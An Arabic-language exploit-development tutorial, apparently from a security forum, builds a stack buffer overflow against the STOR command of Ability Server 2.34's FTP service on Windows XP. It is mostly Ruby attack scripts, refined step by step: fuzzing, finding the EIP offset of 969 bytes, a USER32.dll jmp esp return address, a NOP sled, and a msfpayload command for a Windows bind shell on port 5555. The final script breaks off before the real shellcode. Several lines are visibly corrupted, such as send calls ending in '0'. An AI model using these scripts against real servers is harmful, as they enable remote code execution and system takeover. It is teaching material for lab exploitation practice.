شرح استخدام البرامج

شرح استخدام البرامج

Buffer Overflow tutorial – Part 2: Stack Based Overflow

    Comments 0  

Buffer Overflow tutorial – Part 2: Stack Based Overflow

المحتويات [اخفِ]
  • 1. مقدمة
  • 2. Verify the bug
      • 2.1. Fuzzing
  • 3. Finding EIP exact address
      • 3.1. Sending unique pattern string
      • 3.2. Colorizing registers
  • 4. Find memory space for shellcode
      • 4.1. Find the proper address
  • 5. Jump to the shellcode
  • 6. Generate shellcode and exploit
      • 6.1. Generate shellcode
      • 6.2. Find Bad/Restricted characters
      • 6.3. Real & clean shellcode
      • 6.4. Exploit
  • Demonstration




1. مقدمة

في هذه السلسلة, لن أتكلم عن أساسيات ثغرات الـ Buffer overflow فهناك شروحات وفت هذا الجزء. و سأتطرق لما أجده مهم في عملية التطبيق من معلومات و قد أخصص أجزاء نظرية إذا دعت الحاجة.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.
نظام التشغيل: Linux
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
Download AbilityWebServer.zip

2. Verify the bug

هناك ثلاثة طرق رئيسية لتفحص ثغرة Overflow في برنامج معين
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing
2.1. Fuzzing
في هذه العملية يجب علينا معرفة طريقة سير البرنامج أو الخدمة ومعرفة جميع الأماكن التي تستخدم لإدخال قيمة أو عدة قيم للبرنامج. أيضا يجب أن نعرف إمكانية التعامل مع هذه المدخلات. فمثلا برنامج تشغيل صوتيتا مدخلاته المنطقية هي ملف صوتي و لو كان يستخدم Themes إضافية للبرنامج فقد حصلنا على مدخل أخر وهو ملف يحتوي تصميم مظهر البرنامج. أيضا قد يقوم برنامج الصوتيات يقوم بعمل تحديث من الإنترنت أو البحث في الانترنت على ملفات صوتية, وفي هذه الحالة أضفنا مدخلا أخر وهو فتح اتصال واستقبال وإرسال. نفس الأمر مع برنامج يقدم مثلا خدمة FTP فيجب معرفة أوامر Protocol ال FTP و بالباطبع سيأخذ اسم مستخدم وكلمة مرور لهما طول محدد كحد أقصى. وهكذا
أولا نشغل الخادم و نجهز إعداداته كالتالي

ثم

ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا ت
نسى أن تقفل ثم تفعل خدمة الـ FTP بعد تنفيذ هذه العملية. ستلاحظ في الصورة السابقة
 كلمة Deactivate أمام كل خدمة.
الأن شغل الـ immunity debugger ودرج الـ process الخاصة بـ Ability FTP server في المنقح
بهذه الطريقة


ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله
This is box title
من الضروري جدا إجادة التعامل مع ال Debugger لأنني لن أستطيع أن أعيد ك
ل هذه الصور في كل موضوع. وفي نهاية الموضوع يوجد فيدو توضيحي لكامل الموضوع 
خطوة بخطوة. أيضا لن أستطيع أن أعمل فيديو في كل المواضيع لهذا وجب التنبيه.
الأن, سننشئ سكريبت بسيط يعمل عملية Fuzzing بسيطة و سيرسل 2000 حرف A بعد
تسجيل الدخول إلى خادم الـ FTP وتنفيذ أمر STOR أي أنه سيقوم بتخزين 2000 ملف
 أسمهم A في الخادم. وسنقوم بتطوير هذا السكريبت حتى يصلى إلى استغلال كامل بإذن الله
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'


buffer = "A" * 2000


#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("APPE " + buffer + "\r\n"0)
total = s.send("STOR " + buffer + "\r\n"0)
s.close


#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR1.rb
بعد تحميل الملف, اعطه صلاحيات التنفذ ثم تفذه , وستكرر هذه العملية في كل الملفات القادمة
1
chmod +x ability-STOR1.rb
1
ruby ability-STOR1.rb
ستجد شكل المنقح كالتالي, ويعني أنه حصل خطأ وتجاوز في الذاكرة. (اضغط على الصورة للتكبير)

Figure 2.1a
– لاحظ في الصورة أننا وصلنا لـ EIP register حيث يحتوي على “41414141” -و التي تعني “AAAA”
بالـ Hexadecimal- وهو محور عملنا وأول أهم الأمور في العملية.
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا
This is box title
في كل مرة سننفذ السكريبت يجب أن نعمل إعادة تشغيل للبرنامج من خلال المنقح

ثم تكمل تشغيله

3. Finding EIP exact address

ذكرنا أن الـ EIP هو محور عملنا وأننا لو تحكمنا به سنتحكم بسير عمل البرنامج لأنه ا
لمؤشر الذي يشير إلى العنوان القادم الذي سيتم تنفيذ محتواه. بما أننا أرسلنا مجموعة
 كبيرة من الـ A’s فإننا لا نعرف بالظبط ما هو عنوان EIP .. دعنا نقسم الـ 2000 إلى 4
ونجعلها 500 حرف A و 500 حرف B و 500 حرف C و 500 حرف D و ننفذ السكريبت وننظر ماذا 
حدث في الذاكرة.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'

buffer =  "A" * 500
buffer +"B" * 500
buffer +"C" * 500
buffer +"D" * 500


#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n"0)
total = s.send("STOR " + buffer + "\r\n"0)
s.close


#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR2.rb

Figure 3a
– لاحظ أن الـ EIP فيه قيمة “42424242” أي BBBB وهذا يعني أن عنوان الـ EIP في ال 500 الثانية,, 
نظرة عن قرب

Figure 3b
جميل, اتضحت الصورة الأن. لكن ماهو ليس بجميل هو أنه من الصعب تكرار وتقسيم
 الحروف إلى أجزاء أصغر فأصغر حتى نصل إلى المسافة الحقيقة. ولحل هذه المشكلة ننتقل للفقرة التالية
3.1. Sending unique pattern string
الأن جاء دور الأداة Buffer Overflow Kit لكي نخرج 2000 حرف مميزين ثم بعد ذلك نأخذ القيمة
 الموجودة في الـ EIP ونبحث عنها في الـ 2000 حرف لنعرف بعد كم حرف(byte) يقعد الـ EIP بالظبط
1
2
3
4
5
6
ruby bofk-cli.rb --pattern-create 2000
---[ Pattern create ]-----------------------------------------------------------
[+] Size: 2000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
------------------------------------------------------------------------------
لنضع هذا في السكريبت وننفذه
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabry Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'


buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"




#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n"0)
total = s.send("STOR " + buffer + "\r\n"0)
s.close


#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR3.rb
لننظر إلى وضع الـ EIP Register الأن

Figure 3.1
الأن ننسخ قيمة الـ EIP و في حالتنا “42336742” ونبحث عنها من ضمن الـ Pattern الذي أرسلنا 
سابقا بهذه الطريقة
1
2
3
4
5
6
7
ruby bofk-cli.rb --pattern-offset 42336742
---[ Pattern offset ]----------------------------------------------------------
[+] Actual pattern length: 20280 chars.
[+] Matches: 1 times.

969
------------------------------------------------------------------------------
الأن عرفنا أننا نصل إلى الـ EIP بعد 969 byte.
This is box title
هناك أداتان في مشروع الميتا سبلويت تقوم بنفس ما تقوم به أداتنا لكننا نجمع
الأدوات المتفرقة لتكون في مكان واحد فأحيانا لا نحتاج الميتاسبلويت برمته في عملنا إلا لهذه
 المهمة.
1
./pattern_create.rb 200
1
./pattern_offset.rb 42336742
3.2. Colorizing registers
هذه الخطوة على الرغم من بساطتها إلا أنها مهمة لضمان أن عملك صحيح حتى هذه المرحلة والتي هي 
الفاصل للإنتقال للخطوة الهامة القادمة.
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية

ال 2000 سنضعها حرف C. هذه أعتبرها تلوين للـ Registers
لكي نعرف هل عملنا صحيح أم لا, هل فعلا حسبنا عنوان الـ EIP بشكل صحيح أم لا.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'

junk    = "A" * 969
eip     = "B" * 4
rest    = "C" * (2000 - (eip + junk).size)

buffer = junk + eip + rest

   

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n"0)
total = s.send("STOR " + buffer + "\r\n"0)
s.close



#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR4.rb
شكل الذكرة سيكون كالتالي

Figure 3.2
رائع,,

4. Find memory space for shellcode

بعد أن تأكدنا أننا نصل إلى الـEIP بنجاح جاء وقت أننا نبحث عن مكان في الذاكرة

لكي نضع فيه الـ Shellcode هذا المكان الذي سيقفز إليه الـ EIP أينما كان لتنفيذ الكود 
الذي نريده سواء كان فتح إتصال أو إضافة مستخدم أو حتى تشغيل الألة الحاسبة :)
4.1. Find the proper address
هناك عدة أماكن من الممكن أنبحث فيها ويجب أن تتميز هذه الأماكن بصفات معينة 
سواء كلها أو بعضها لكن بعضها مهم ويجب توافره.
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي
 مشاكل اختلاف إصدارات النظام واللغات والتحديثات
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف 
ما هو عنوان القفز بعد قليل
لنعرف الملفات التنفيذية التي تعمل مع عمل البرنامج اضغط على زر “e” كما في الصورة

ستظهر هذه النافذة

Figure 5a
سأختار من ضمن الملفات ملف user32.dll
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح

و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ 
الأمر التالي , ثم انتظر قليلا
1
!mona jmp -r esp -n -m USER32.dll
This is box title
إذا أردت البحث عن jmp في جميع الملفات دون تحديد dll معين, استخدم الطريقة
 التالية لكن ستضطر للانتظار وقت أطول قليلا
1
!mona jmp -r esp -n
– اذهب إلى الملف jmp.txt في المسار “C:\Program Files\Immunity Inc\Immunity Debugger\jmp.txt”
ستجد محتوياته تشبه هذه
1
2
3
0x77d8af0a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d6b141 : call esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d5aa01 : push esp # ret | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
سنختار العنوان الذي يسبق jmp esp وهو 0x77d8af0a
This is box title
هل تذكر عندما أشرنا في مرحلة الـ Fuzzing أننا استطعناالوصوع إلى EIP و ESP ؟
لهذا نحن بحثنا عن jmp esp ولو وجدنا أننا وصلنا إلى أي register اخر مثلا “EBX”
لاستبدلنا esp به وستصبح jmp ebx.
This is box title
هناك طرق عديدة أخرى للقفز من مكان إلى مكان و -بإذن الله- سأشرحها في موضوع
مستقل. حتى الأن أريدك أن تركز على jmp وإذا استوعبت الأمر جيدا, جرب أن تستخدم 
عنوان “call esp” و الذي هو 0x77d6b141 وتعيد الخطوات بداية من هنا. فقط انهي الشرح معي
 خطوة بخطوة ثم ارجع إلى هذه النقطة وجرب بنفسك.

5. Jump to the shellcode

بعد أن عرفنا العنوان الذي سنقفز إليه في الذاكرة لكي نضع الـ Shellcode يجب أن نحوله
 إلى little endian character حتى هي الصيغة التي تقرأ بها معالجات Intel من الذاكرة -
هناك تفصيل لهذا ولسنا بصدده- إذا كيف نحول الـ byte إلى Little endian format؟.
للتوضيح, لو كان عند
4 bytes بهذا الشكل ABCD والتي تعني \x41\x42\x43\x44 فإن صيغة الـ little endian ستكون \x44\x43\x42\x41.
للقيام بهذه العملية بشكل أسرع وبدون الوقوع في أخطاء أثناء عملنا, قمت بعمل أداة تقوم بتحول العنوان المعطى إلى little endian تجدها في أداة Buffer overflow Kit.
1
2
3
4
ruby bofk-cli.rb --hex2lend 0x77d8af0a
---[ Little endian format ]----------------------------------------------------
\x0a\xaf\xd8\x77
------------------------------------------------------------------------------
جميل, الأن لنضع هذه القيمة في الـ EIP ونرى هل سيقفز إلى هذا العنوان أم لا.
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال
مروره بهذه المجموعة من البايتات و تواجدها مهم قبل الـ shellcode.
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي
قيمة مقاربة لحجم الـ shellcode الحقيقي من الميتاسبلويت وسنستبلدها لاحقا بواحد حقيقي.
بعد تشغيل البرنامج و قبل أن تنفذ السكريبت قم بالبحث عن العنوان 0x77d8af0a في 
البرنامج وضع عنده نقطة وقوف بالطريقة التالية
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'


junk      = "A"    * 969
eip       = "\x0a\xaf\xd8\x77"
nop       = "\x90" * 8
shellcode = "S" * 370
rest      = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

   
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n"0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n"0)
total = s.send("STOR " + exploit + "\r\n"0)
s.close



#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
Download ability-STOR5.rb
ستجد الوضع كالتالي:

Figure 5b
لاحظ لون الـ Breackpoint تغير وهذا يعني أننا وصلنا له بنجاح.
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى

Figure 5c
استمر في الضغط على F7 سترى أن الـ EIP يمشي الأن خلال الـ Shellcode وهو حرف
 الـ S لو نزلت بالماوس لتسرع العملية ستجد أن في نهاية حرف الـ S هناك حرف C وهي
البايتات التي ذيلنا بها الexploit .
رائع!! لنبدأ إذاً في وضع Shellcode حقيقي

6. Generate shellcode and exploit

سنستخدم الـ metasploit shllcode من نوع Bind shell على منفذ 5555
بهذه الطريقة
1
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby
اغلق المنقح وشغل البرنامج لوحدة -دون إدخاله في المنقح- ضع المخرجات في السكريبت ونفذه
6.1. Generate shellcode
اذهب إلى
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env ruby 
#======================================================#
# Ability FTP server exploit                           #
# Security4arabs.com: Buffer Overflow tutorials        #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI      #
#======================================================#
require 'socket'



junk      = "A"    * 969
eip       = "\x0A\xAF\xD8\x77"   # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop       = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby (size 368)
